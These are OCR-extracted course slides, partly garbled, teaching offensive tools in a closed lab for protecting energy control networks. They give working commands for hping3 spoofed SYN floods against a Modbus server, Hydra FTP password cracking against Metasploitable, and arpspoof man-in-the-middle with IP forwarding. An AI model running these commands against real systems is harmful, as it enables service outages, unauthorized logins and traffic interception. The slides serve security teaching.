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Network Protection for
Energy Control
Systems

These slides outline the essential offensive tools that
will be used in this course.

These tools are intended for use within this course to
demonstrate how different tools can be employed
for various cyberattack activities and address existing
security weaknesses to avoid or mitigate related
cyber risks. Therefore, all these practical activities are
solely intended for educational purposes ONLY and
not for any other malicious or unauthorized activities.
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GNS3 Simulator
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GNS3 Simulator

Field Devices

= Raspberry Pi running lightweight Linux S
version (Client and Server) for fransmitfing \f—i 3
data  over  ModBus

communication
protocols using the pyModbusTCP.

Management Sector

NetworkAdmin

Field Devices

Management Sector

= Network administration device for
monitoring network traffic using Kali Linux.

= Wazuh Server:
later.

Client

|
\ WazuhServer

| T
Hub3 /
L4

Details fo be addressed

Malidous| Activities

Attcker
Malicious Activities

m.
= Kali Linux will be used fo simulate various

malicious activities targeting devices within
this closed network.

Getting Started with GNS3 | GNS3 Documentation



https://docs.gns3.com/docs/
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Offensive Tools
hping3




CSP0O04_C_E:

DoS: Denial of Service Attack

Sending too much Py
packets to the target ~

machine

-

N

Hping3: hping3 is a network tool able to send custom ICMP/UDP/TCP
packets and to display target replies like ping does with ICMP replies. It
handles fragmentation and arbitrary packet body and size, and can
be used to transfer files under supported protocols. Using hping3, you

can test firewall rules, perform (spoofed) port scanning, test network
performance using different protocols, do path MTU discovery, perform
traceroute-like actions under different protocols, fingerprint remote
operating systems, audit TCP/IP stacks, etc. hping3 is scriptable using
the Tcl language.

© crversecho
hping3 | Kali Linux Tools BY NC SA



https://www.kali.org/tools/hping3/
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ing3: Norma attack

Fle Machine View Input Devices Help Fie Machine View Input Devices Help

Elri@raspbeny: ~/Desk.. Applications ~  Places » % Terminator ~ Apri 12:16 ) S0 B~
o
pi@raspberry: ~/Desktop . /bin/bash
File Edit Tabs Help Ipuniicdy /bin/bash 83x25
alert.js
>
>. Terminator
Ly |
piGraspberry —
serverpy’
O | =
File Machine Input Devices Help M .
pi@raspberry: ~/Desktop S ,>
File Edit Tabs Help =
piGraspberry
I
4 » =
Bl 7.8 B oneaecy B OME &M E T ) B0 swerecHTs

'@ CyberSecPro @@@

BY NC SA




Hping3: Scan Ports Scan all available por
hping3 --scan 1-65535 192.168.122.109 -S —rand-sourc

/bin/bash (- O~
a {bin/bash 78x21

rootgkali:~# hping3d --scan 1-65535 192.168.122.189 -5 --rand-sourc
Scanning 192.168.122.109 (192.168.122.109), port 1-65535
65535 ports to scan, use -V to see all the replies

S R e 1-65535 qll por’rs from - to
PSR DR D ORIAE A0 192.168.122.109 target address
-S services

—rand-source to hide your
identity

only one available on the target machine

Now we have port 502 (server ModbusTCP example) g @ crberseciro
BY NC SA




leng3 Wlth attaCk The port number can b ;

shown before

hping3 --flood --syn --destport 502 <target_IP>

Fle Machine View Input Devices Help

File Machine View Input Devices Help
AR
(6] pl@raspberry:~/Desk.,.

pi@raspberry: ~/Desktop
File Edit Tabs Help SpookLE B ‘“,’ 1111111 ‘83x2‘5‘
piGraspberry i 3 ] 02 19

Bl 1% 7| 8 B srereciTs B OMG #ME D ¥ G0 swerecTs

i B O )5 I
From help check other formats for the tool to apply DQ @
against the server @ cybersecrro
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Hping3: Perform Attack

hping3 -S —a sourcelP —p portNumber —flood targetiP

/bin/bash
O /bin/bash 82x20

rootakali:~# sudo hping3 -S -a 192.168.122.27 -p 520 flood 192.168.122.103
HPING 192.168.122.103 (eth® 192.168.122.103): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
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Hping3: Perform Attack

Attack the victim without specifying the port

hping3 -S —a sourcelP —flood targetiP

pi@raspberry: ~/Desktop v A X

File Edit Tabs Help

pl@raspberry 1 192.168.122.106¢

Before Atac
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Hping3: Perform Attack

Attack the victim without specifying the port

[binfbash

hplﬂgS —S —a sg= Jbin/bash 98x15

File

i /bin/bash 98x15
.1‘00th}<ali:--'n sudo hping3 -5 -a 192.168.122.27 --flood 192.168.122.109

HPING 192.168.122.109 (ethd 192.168.122.109): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

nC

--- 192.168.122.109 hping statistic ---

637969 packets transmitted, @ packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

rootgkali:~# sudo hping3 -S -a 192.168.122.27 --flood 192.168.122.109

HPING 192.168.122.109 (eth® 192.168.122.109): S set, 4@ headers + @ data bytes
hping in flood mode, no replies will be shown

"
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Offensive Tools
Metasploitable VM
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What is Metasploitable?

The world's most widely used penetration testing framework.
&

File Machine Wiew Input Devices Help
UF LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:19Z errors:0 dropped:0 overruns:0 frame:0
TX packets:192 errors:0 dropped:0 overruns:0Q carrier:0

collisions:0 txqueuelen:0
RX bytes:68817 (67.2 KB) TX bytes:68817 (67.2 KB)

You can download it from the following link. sfadninenetasploitable:™$ exit

Metasploitable 2 | Metasploit Documentation (rapid/7.com)

arning: Mever expose this UK to an untrusted networkt
ontact: msfdevliatlmetasploit.com
ogin with msfadminsmsfadmin to get started

etasploitable login: _

1 .

e S @0 ST S @ B sTRG-RECHTS

9o [OIOO

s BY NC SA |

https://www.metasploit.com



https://www.metasploit.com/
https://docs.rapid7.com/metasploit/metasploitable-2/
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Installing Metasploitable

Virtual machine Name and Operating System

ﬁ Create Virtual Machine

Name: GNS3 VM
Owperating System:  Ubunitu (54-bit)

E System

Base Memory: 3377 MB
Processors: 3

Boot Order: Hard Disk, Optical

Acceleration: Nested Paging, PAE/NX, KVM Paravirmualizaton

|:| Display

used to install the guest operating system,
Mame: Mata2

Foldar; l Ci\Users\Shaaban A \WirtealBox WV Ms

Video Memony: & MB

Graphics Controller; VBoxW GA

Remote Desktop Server Port: 5845 - -

Recording: Disabled IS0 Image:  =not selected=

H Storage

Controller: IDE Controller
IDE Primary Device 0:  (GNS3 VM-disk001.vdi (Normal, 19.53 GE)
Controller: SATA Controller
SATA Port 2: GNS3 VM-disk0O02. vdi (Normal, 488,28 GE) _
P | Linao
.'n Audio ~¥YPe

Host Driver:  Windows Audio Session
Controller: ICH ACS?

E Network
& use

Diszbled
. Shared folders

Version: | Other Linue: (64-bit)

ﬂ Mo IS0 image i selected, the guest OS will need to be installed manusalhy,

Naone
e Description
Help Expert Mode Mest

Naone

g o [DIOCIO

BY NC SA

Please choose a desaiptive name and destination folder for the new virtual machine, The name you dhoose will
be used throwghout VirtualBoo: to identify this machine, Additionally, you can select an IS0 image which may be
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Installing Metasploitable

- o LI .
8¢ Create Virtual Machine 7 8¢ Create Virtual Machine

Virtual Hard disk

If you wish you can add a virtual hard disk to the new machine, You can either create 3 new hard
disk file or select an existing one, Alernatively you can aeate a virtual machine without 2 virtual
hiard disk.

Hardware

You can modify virtual machine’s hardware by changing amount of RAM and virtual CPU count,
Enabling EFI is also possible,

Base Memory: ® Create a Virtual Hard Disk Now

4 MB 327cE MB

Disk Sizet
Processors:
4,00 MB 200 TE

1 CPU 20 CPUs

Pre-zllocate Full Size
Enable EFI (special O5es onby) =
Use an Existing Virtual Hard Disk File

%

Do Not &dd & Virtual Hard Disk

@ CyberSecPro

BY NC SA




CSPO04_C_E:

Installing Metasploitable

8¢ Create Virtual Machine
Summary

for the
the virtual

/
g o [OIOISIO)

s BY NC SA |



8¢ Oracle VM VirtualBox Manager
File

Machine Help

. Windows 11
.iliu @ Powered OF

f\ Kali
i) @ Powered OF

Edes, Raspberry Pi 05
f i @ Powersd OF

Ees, Raspberry Pi 2018
fJ @ Powersd OF

Elew, Raspberry Pi 05 Client
) @ Powesd OF

wm_wazuh
@) Powersd OF

Wazuh v4.8.1 OVA
@ Powersd OF

B,  kali-linu=-2022.4-virtualbox-...

"'-_,.l @ Power=d OFf

Eles, Raspberry Pi Agent
[ i) @ Powered OF

B, GMNS2 VM
.’ mlb Running

®

Installing Metasploitable

NS

Mewr Add Settings Start
E General
Name: Metasploit?

Operating System:  Other Linu: (§4-bit)

E System

Base Memory: 2560 MB

Processors: 3

Boot Order: Floppy, Optical, Hard Disk

Acoeleration: Nested Paging, PAE/NX, KVM Paravituzlzation

I:I Display

Video Memaony: 16 MB
Graphics Controller: VMSVGA
Remote Deskiop Server:  Disabled
Recording: Disabled
ﬂ Storage

Controller: IDE

IDE Secondary Device 0:  [Optical Drive] Empty
Controller: SATA

SATA Port O: Metasploit?, wdi (Mormal, 8,00 GE)
P Audio

Host Driver:  Default
Controller: ICH ACS7

ﬂ MNetwork
rf uss

USE Controller:  OHCI, EHCI
Device Fikers: 0 (D active)

‘ Shared folders
one
3 Description

one

E Preview

CSPO04_C_E:

Metasploit2

OO

BY NC SA




Installing Metasploitable

Machine Help
] Windows 11
."ﬂ. @) Powered OFF

’/\ Kali
i) @ Powered OFf

General Storage
—\ Raspberry Pi OS
i Po Off i —— .
S @) Powersi S Storage Devices Attributes
€= Convoller: IDE Hard Disk: | SATA Port 0 - 3 ™
r - Diacadans — :
’—J “@as%:?eché;:mj ° Empty Solid-state Drive PR Choose/Create a Virtuzl Hard Digk...
= Hot-pluggable Choose a disk file..,
Storage { * Controller: SATA Hot-phigg= ] a _
Information

N e
o 5 Metasploi? vdi Type (Format):  Normal (VDI)
Virtual Size:  8.00 GB
Network Acwal Sze: 2,00 MB

Ew, Raspberry Pi OS Client
[ ) (@ Powered OFF

wm_wazuh Detail:  Drynamically allocated storage
a @ Powered OF Serial Pors Location: Ci|Users\ShazbanA|ViruzlBox VMs\Met...
Attached to:  Metasploit?
1=3 Encryped with key: —
Wazuh v4.8.1 OVA
Q @ Powered Off Shared Folders

User Interface

HE~20 e 18O

Ee,  kali-limx-2023.4-virtualb
f @ Powered OFf

Raspberry Pi Agent
@ Powered OFf

GNS2 VM
wlp Running - Shared folders

None

e Description

/
g o [OIOISIO)

BY NC SA
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Installing Metasploitable

Add the Metasploitable VM file that you downloaded.

asploit? - Hard Disk Selector

% © Select this file

Add  Ce = Refresh

*  Attached
‘ersion-disk 1, vmdk
{Fired Viersion)-disk1.vmdk

Here are the conténts o

GNS3 VM-disk001, vdi
GNS3 VM-diskDD2, vdi 488,
Kali 2020 32bit moded by rSecurty-diskD01.vdi 8D,
Kali, vdi 25,
kali-linu:-2023 4-virualbox-amde4, vdi P
Metasploit2. vi Y Y ¥ T I
Raspberry Pi 2018, vdi Y i I:l Mame Date modified
Rasphermy Pi Agent.vdi . E
Raspberry Pi 05 Cient.vdi

Pi OS.vdi . - 1:52 PM
wiazuh-4,8.1-disk-L.vel ; . g e
WinDev2401EvaldiskDD1, vdi 125.00 GB

T ao0ce : W Metasploitablevmdk = 2 51 PM

vdi
Metasploitzble2-Linw:, vdi 8.00 GB

| ] Metasploitablewmsd
|:| Metasploitablewvmx
|j Metasploitablewmaxf

Search By Name =

BY NC SA
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laf| Metasploit2 - Hard Disk Selector

Installing Metasploitable &8 e

Search By Name ¥




9 (] &[]

B E~%O

Installing Metasploitable

General Storage
System Storage Devices
= Conmoller: IDE
Display
-y . Empty
S = Controller: SATA
Audio E Metasplatable, vmdk
Metwark
Serizl Ports
Use

Artributes
Hard Disk:  SATA Port 0 ~ B
Solid-state Drive
Hot-pheggable
Information

Type (Format):
Virtual Size:

Actual See:

Details:

Location:

Attached to:
Encrypted with key!

Normal {VMDE)

.00 GB

1.79 GB

Drynamically allocated storage
C:\Users\Shaaban \OneDrive - AITYDao.._

Artery CAMs Version-disk 1. vmdk
¥ Artery Vagrant (Foed Version)-diskl. vmdk
b Artery Vagrant Clone-disk1, vmdk
b Artery Vagrant-diskl, vmdk
GNS3 VM-disk01. vdi
GNS3 VM-disk02. vdi
Kali 2020 32bit moded by 2Security-dick00L. vdi
Kali, vdi
kalilinuor- 2023, 4-virualbox-amdE4, vdi
Metasploit2, vdi
Raspberry Pi 2018, vdi
Raspberry Pi Agent. wdi
Raspbermy Pi OS5 Client, wdi
Raspbermry Pi OS,vdi
wazuh3, 12,3 _7.6.2-diskl, vdi
wiazuh-4.8.1-disk-1, vdi
WinDev2401Eval-disk001, vdi
* Mot Attached

Search By Name =

20.00 GEB 17.0% GB
20.00 GB 17.09 GB
19.53 GB 3.48 GB
488.28 GB 291.00 MB
E0.00 GB 11.58 GB
25.00 GB 24,14 GB
£0.05 GB 16.16 GB
£.00 GB 2,00 ME
20.00 GB 5.55 GB
20.00 GE 11.71 GB
20.00 GB 12.25 GB
20.00 GEB 12,17 GB
40,00 GB 337 GB
50.00 GE 27.26 GB
125.00 GB 51.94 GB
200 GR 7 00 MR
.00 GB

L

Choosa Cancel

BY NC SA




CSPO04_C_E:

Starting the Metasploitable VM

etaspoilt? [Runnin

Machine View Input Devices Help

Start the Metasploit VM Fie

ile: Machine Help
BV Windows 11

Wi @ Powerioff

+ 8

s New Add Settings Start
o Ly B O senersl O preview

= Starting deferred execution scheduler atd
= Starting periodic command scheduler crond

-
=
=

b bl bt

Name: Metasploit2 L * Starting Tomcat servlet engine tomcat5.5 DK
--\ naspbe:;péﬂos Operating System:  Other Linu (64-bit) x Starting uweb server apachez 0K
NPl B System = Running local boot scripts (retcrsrc.local)d

nohup: appending output to “nohup.out’

Do 30N nohup: appending output to “nohup.out’

--.\ Raspberry Pi 2018 :
J Powered OFf Boot Order; Floppy, Optical, Hard Disk =
©® Acceleration:  Mested Paging, PAE/NX, KVM Paravirualization MetaspIOItZ

I:I Display

Edes, Raspberry Pi OS Client

rJ @ Powered OF Video Memory: 16 MB R I D P R N G N S R SUN R SRR S
Graphics Controller: VMSVGA ! ’ ’ - / 1 ' 1 |/ 1 [ / - [ ] |/ ) ]
IEmE =iy Tl L T T T e
= Recording: Dissbled | T T T N B | s 0 I T T D N T N N GO TR T D N B __ss 7
- - I T R i v P R i si_i i i
© Poversd OF B sorece e i L )
_1
Controller: IDE
Wazuh v4.8.1 OVA IDE Secondary Device 0:  [Optical Drive] Empty
& @ pOWE’EiDH COMDIE: SﬂTﬂ b. bb dk I o - . -
SATA Port 0: Metasplaitable. vmdk (Norml, 8.00 GE) Warning: Mever expose this UM to an untrusted network?

P Audio
-u.\ kali-linux-2023.4-virtualbox-...

Powered OFf Host Driver;  Defaukt
J @ Pou Controller:  ICH ACS7

ﬂ Network

Contact: msfdevliatImetasploit.con

Login with msfadminsmsfadmin to get started
l-h\ Raspberry Pi Agent

) @ Powered OF ,& use
metasploitable login:
USBE Controller:  OHCI, EHCI
= GNS2 VM Device Fiters: 0 (D active)
My Eiming P Shared folders

None

e Description

None

® :

B OGS &N E TS @ B srerecHTs

@ cyversecrro @ 0 3 @

BY NC SA
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Starting the Metasploitable VM

L'] Metaspoilt? [Running] - Oracle YM VirtualBox

File Machine ew Input

Starting deferred execution scheduler atd
Starting periodic command scheduler crond

* Starting Tomcat servlet engine tomcat5.5
Starting web =erver apache2
= Running local boot scripts (retcrsrc.local)d
nohup: appending output to “nohup.out’
nohup: appending output to “nohup.out’

£
=
.
[
E

Login: msfadmin . ana
Password: msfadmin

Warning: Mever expose this UM to an untrusted network?
Contact: msfdevliatImetasploit.con

Login with msfadminsmsfadmin to get started

metasploitable login:

.
)

@ cybersecpro @ 0 e @

BY NC SA
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Offensive Tools
HYDRA Tool
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What is HYDRA?

« Hydra is a parallelized login cracker which supports numerous protocols
to attack.

 Itisveryfast and flexible, and new modules are easy to add,

« This tool makes it possible for researchers and security consultants to
show how easy it would be to gain unauthorized access to a system
remotely.

oSS, -

hydra | Kali Linux Tools



https://www.kali.org/tools/hydra/

Use Hydra

- Before starting the attack on the Metasploit VM,
ensure that the required wordlists are installed.

« Verify the wordlist location by running:
« Is [usr/share/wordlists/metasploit

- If the file does not exist, install the necessary
package by executing:
« sudo apt-get install wordlists

hydra | Kali Linux Tools

O Recent

& Starred
1 Home

[ Documents
® Downloads
I Music

01 Pictures
H Videos

i Trash

+ Other Locations

CSP0O04_C_E: Abdelkader Shaaban and Stefan Schauer

@ Computer

adobe_

topl00_pass.

xt

dangerzone_
b.txt

http_default_

pass.txt

keyboard-
patterns.txt

namelist.txt

root_
userpass.txt

sensitive_
files_win.txt

usr share

av_hips_
executables.
Wt

db2_default_
pass.txt

http_default_
userpass.txt

lync_
subdomains.

ot

oracle_
default_
hashes.txt

routers_
userpass.txt

sid.txt

wordlists

av-update-
urls.txt

db2_default_
user.txt

http_default_
users.txt

malicious_
urls.txt

H

oracle_
default_
passwords.csv

rpc_names.txt

snmp_
default_pass.
txt

metasploit «

burnett_top_
500.txt

db2_default_
userpass.txt

http_owa_
common.txt

mirai_pass.txt

oracle_
default_
userpass.ixt

rservices_
from_users.
Wt

tftp.txt

burnett_top_
1024 txt

default_pass_
for_services_
unhash.txt

idrac_
default_pass.
ot

mirai_user.txt

password.lst

sap_cammon.
txt

tomcat_mgr_
default_pass.

can_flood_
frames.txt

default_

userpass_for_
services_un...

idrac_
default_user.
Wt

mirai_user_
pass.txt

piata_ssh_
userpass.txt

sap_default.
txt

tomcat_mgr_

default_

cms400net_
default_
userpass.ixt

default_
users_for_
services_un...

ipmi_
passwords.txt

multi_
vendor _ccty_
dvr_pass.txt

postgres_
default_pass.
ot

sap_icm_
paths.txt

tomcat_mgr_
default_users.

Q= ~

common_
roots.txt

dlink_telnet_
backdoor_
userpass.txt

ipmi_users.txt

multi_
vendor_cctv_
dvr_users.txt

postgres_
default_user.
Wt

scada_
default_
userpass.txt

unix_
passwords.txt

coo

dangerzone_
a.txt

H

hci_oracle_
passwords.csv.

joomla.txt

named_pipes.
txt

postgres_
default_
userpass.txt

sensitive_
files.txt

unix_users.txt

. 43 [ sTRG-RECHTS
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Use Hydra

We are about to attempt cracking the FTP server on the
Metasploit machine.

You can create custom wordlists and update the existing password/users lists as needed.

Therefore, in this demo, I will be using my own customized lists | = - ok | S ]2 © © @

msfadmin

A admin

password.txt e G O admin1234
File Edit Search Options Help 32:56?89
msfadmin 0 :g;
adm:!'n password
adminl234 passwd
123456789
toor
root
user
password
passwd|

| Plain Text » Tab Width: 8 + Ln1, Coll
CyberSecPro 28

hydra | Kali Linux Tools =]



https://www.kali.org/tools/hydra/
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Use Hydra

Attempting to guess the password for a specific user.

* hydra -I msfadmin -P password.txt 192.168.122.230 ftp
| /bin/bash (- JC

= /binfbash 109x19
roots ~/De .230 ftp =

y or secret service organizations, or for

Hydra (https:/, auser ydra) tarting at 20 4 11:16:24

[DATA] m ) r 1 server all s, 9 log tries (1:1/p:8), ~9 try per task
[DATA] a ! J

[21]( ] host: Login password:

1 of 1 target successfully completed, valid password found

Hydra (h thub.c anhauser-thec/thc-hydra) finished at 2024-99-24 11:16:28

rootokali:

DOO =

BY NC SA

hydra | Kali Linux Tools



https://www.kali.org/tools/hydra/
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Use Hydra

Attempting to guess the username for a specific password.

« hydra -L users.txt -p msfadmin 192.168.122.230 ftp
/bin/bash o0

= /bin/bash 109x19
-p msfadmin 192.168.122.230 ftp [ |
Please do not use in military or secret service organizations, or for

host: Lo : password:
get succe valid password found
the-hydra) finished at 2024-99-24 11:18:13

:

hydra | Kali Linux Tools



https://www.kali.org/tools/hydra/
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Use Hydra

Attempting to guess the username and the password.

* hydra -L users.txt -P password.txt 192.168.122.230 ftp

Jbin/bash Qe 0O

/binfbash 109x19
txt -P password.txt 192.168.122.230 ftp | Please note:

« Capital -L & -P: Used for specifying
files containing lists of usernames
(users.txt) and passwords
(passwords.ixt).

« Lowercase -l & -p: Used for
specifying a specific username or
password.

rootokali:~/

OO

BY NC SA

hydra | Kali Linux Tools



https://www.kali.org/tools/hydra/
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Use Hydra

Attempting to guess the username and the password and store output into a file.

* hydra -L users.txt -P password.txt 192.168.122.230 ftp —-o crack-info.txt

' Open v | @ crafkl-lrnl Save = @ M® O
) \ i Hydra v9.0 run at 2024-09-24 11:28:57 on

crac _-,nfcl-i- N 192.168.122.230 ftp (hydra -L users.txt -P
password.txt -o crack-info.txt 192.168.122.230 ftp)
- [21][ftp] host: 192.168.122.238 login: msfadmin
/bin/bash @ ® 0O password: msfadmin
/bin/bash 109x17 [21][ftp] host: 192.168.122.238 login: user

-P password.txt 192.168 -0 Cr i Ltx [ | password: user

Hydra (https

[DATA] max 1

[DATA] attacking

[21][ ] host:

[21][ ] host: .

1 of 1 target successfully s found

[WARNING] Writi ause hreads did not complete until end.
[ERROR] 1 ta t did not resolve or could not be connected

[ERROR] 0 did not complete

Hydra (https github.com/vanhauser-thc/thc-hydra) finished at 2024-09-24 11:29:16
rootokali: ktop#

Plain Text *+ Tab Width: 8 =
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https://www.kali.org/tools/hydra/
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MITM Attack
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Credentials disclosure
Packet sniffing
Code injection

And more...
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One of the
methods to

achieve that is
the ARP spoofing
attack

CyberSecPro @@@@ 34

BY NC SA



CSP0O04_C_E: Abdelkader Shaaban and Stefan Schauer

What is the ARP Spoofing Attack?

« ARP spoofing takes place within a local area network (LAN) and reljes on the Address Resolution
Protocol (ARP).

 ARP serves as a communication protocol linking dynamic IP addresses to physical MAC addresses
of machines.

 ARP spoofing, also known as ARP poisoning, is a deceptive technique used by hackers to intercept
data.

« In this aftack, the hacker tricks a device into sending its data to/the hacker instead of the intended
recipient.

By doing so, the hacker can access the targeted device's communications, potentially obtaining
sensitive information like passwords and credit card details.

« Aftackers can use ARP spoofing for spying, man-in-the-middle/ attacks or for additional

cyberattacks, such as denial-of-service attacks.
- CyberSecPro @@@@ 35
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https://www.crowdstrike.com/cybersecurity-101/spoofing-attacks/arp-spoofing/
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What is the ARP Spoofing Attack?
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What is the ARP Spoofing Attack?

C:\Users\User>arp -a

ARP TO ble Interface: 192.168.122.21 —— Oxi

Internet Address Physical Address Type
192.168.122.1 52-5U-80-1f-18-ec dynamic
R .I. 192.168.122.27 08-00-27-27-29-8c dynamic
eq U es S 192.168.122.163 PE-B0-27-30-20-e0 dynamic
192.168.122.109 08-00-27-52-al-8f dynamic
‘ \ > ((‘ ’)) . 192.168.122.255 FFFF—FFFFFFFFf  static
/-\o 224.0.0.22 01-80-5e-00-00-16 static
b 224.0.0.251 01-00-5e-0E-LB—Fb static
—— < < 224.8.8.252 01-00-5e-0B-B0—fc static
239.255.255. 01-08-5e-Tf—Ff-Ffa static
User ReSpOﬂSGS |n.l.erne.|. 255.255.255. —FF—Ff—Ff—F++f static
GOTeWOy C:\Users\User>
ATTGCker Command Prompt
/P@QU C:\Users\User>arp -a
GS}‘S Interface: 192.168.122.21 —— ©OxuU
Internet Address Physical Address Type
192.168.122.1 08-08-27-27-29-8c dynamic
192.168.122.27 08-00-27-27-29-8c dynamic
((( ))) > 192.168.122.103 B8-00-2T7-30-20-e0 dynamic
192.168.122.109 08-00-27-52-aU-8f dynamic
192.168.122.255 F—F—FF—Ff—F+f+f static
< 224.0.0.22 01-00-5e-00-00-16 static
221.0.0.251 01-00-5e-0R-00—Fb static
224.0.0.252 01-08-5e-00-00—Fc static
239.255.255.250 01-00-5e-Tf—Ff—Fa static
GOTeWOy |nTerneT 255.255.255.255 F—Ff—FF—FFFFFF static
User C:\Users\User>

w
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Ofttensive Tools
Arpspoofing
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Attacker
. R
®9ue
rpspoofing s "
W
e
\ (( ))) @
S
EE I
—_— %65 Gateway Internet

User
arpspoof -i [interface] -t [clientIP] [gatewayIP] (Trick the victim) arpspoof -i [interface] -t [gatewaylP] [clientlP] (Trick the gateway)
arpspoof -i ethO -t 192.168.122.1 192.168.122.109 arpspoof -i ethO -t 192.168.122.109 192.168.122.1

File Edit Tabs Help File Edit Tabs Help

Before After
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Atftacker

Arpspoofing / %km‘_@

Qe Gateway Internet

« Each time the victim machine (ending in .109) sends data, it will be/routed
through the Kali Linux device (the attacker's machine), which will then forward
it to the gateway. When data is returned from the gateway, it will first be sent to
Kali, and Kali will then forward it to the victim machine (ending in/.109).

- However, due to Linux security settings, all packets received by Kali are
dropped by default.

« To perform a successful Man-in-the-Middle (MITM) attack, wg need to enable
packet forwarding on Kali, allowing all incoming packets from the victim to
pass through the attacker and continue to the gateway, /ensuring the traffic
flows in and out through the attacker's machine.

(durddey ay 1M yeym

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

EEO0SS -
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Atftacker

Arpspoofing 1 ’kiﬂ._@

/bin/bash [ 1 ) | Internet

B /bin/bash 83x14

& Google x |+

& C @& googlecom T Q‘m N =

) S
) = T\G Gmail Images b33 o

68.122.1809

68.122.189

th

68.122.189

68.122.109

Google

)

Jbinfbash 83x7 Google Search I'm Feeling Lucky

Google offered in: Deutsch

Check the victim machine, and you will see that
Ibinjbash 83x7 they can access the internet normally.

rootikali:~/Desktop#f echo 1 > fproc/sys/net/ipv4/ip_forward
rootakali:~

Austria
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Thank you

Please send all questions to:
Abdelkader Shaaban,
abdelkader.Shaaban@ait.ac.at
Stefan Schauer
Stefan.Schauver@ait.ac.at
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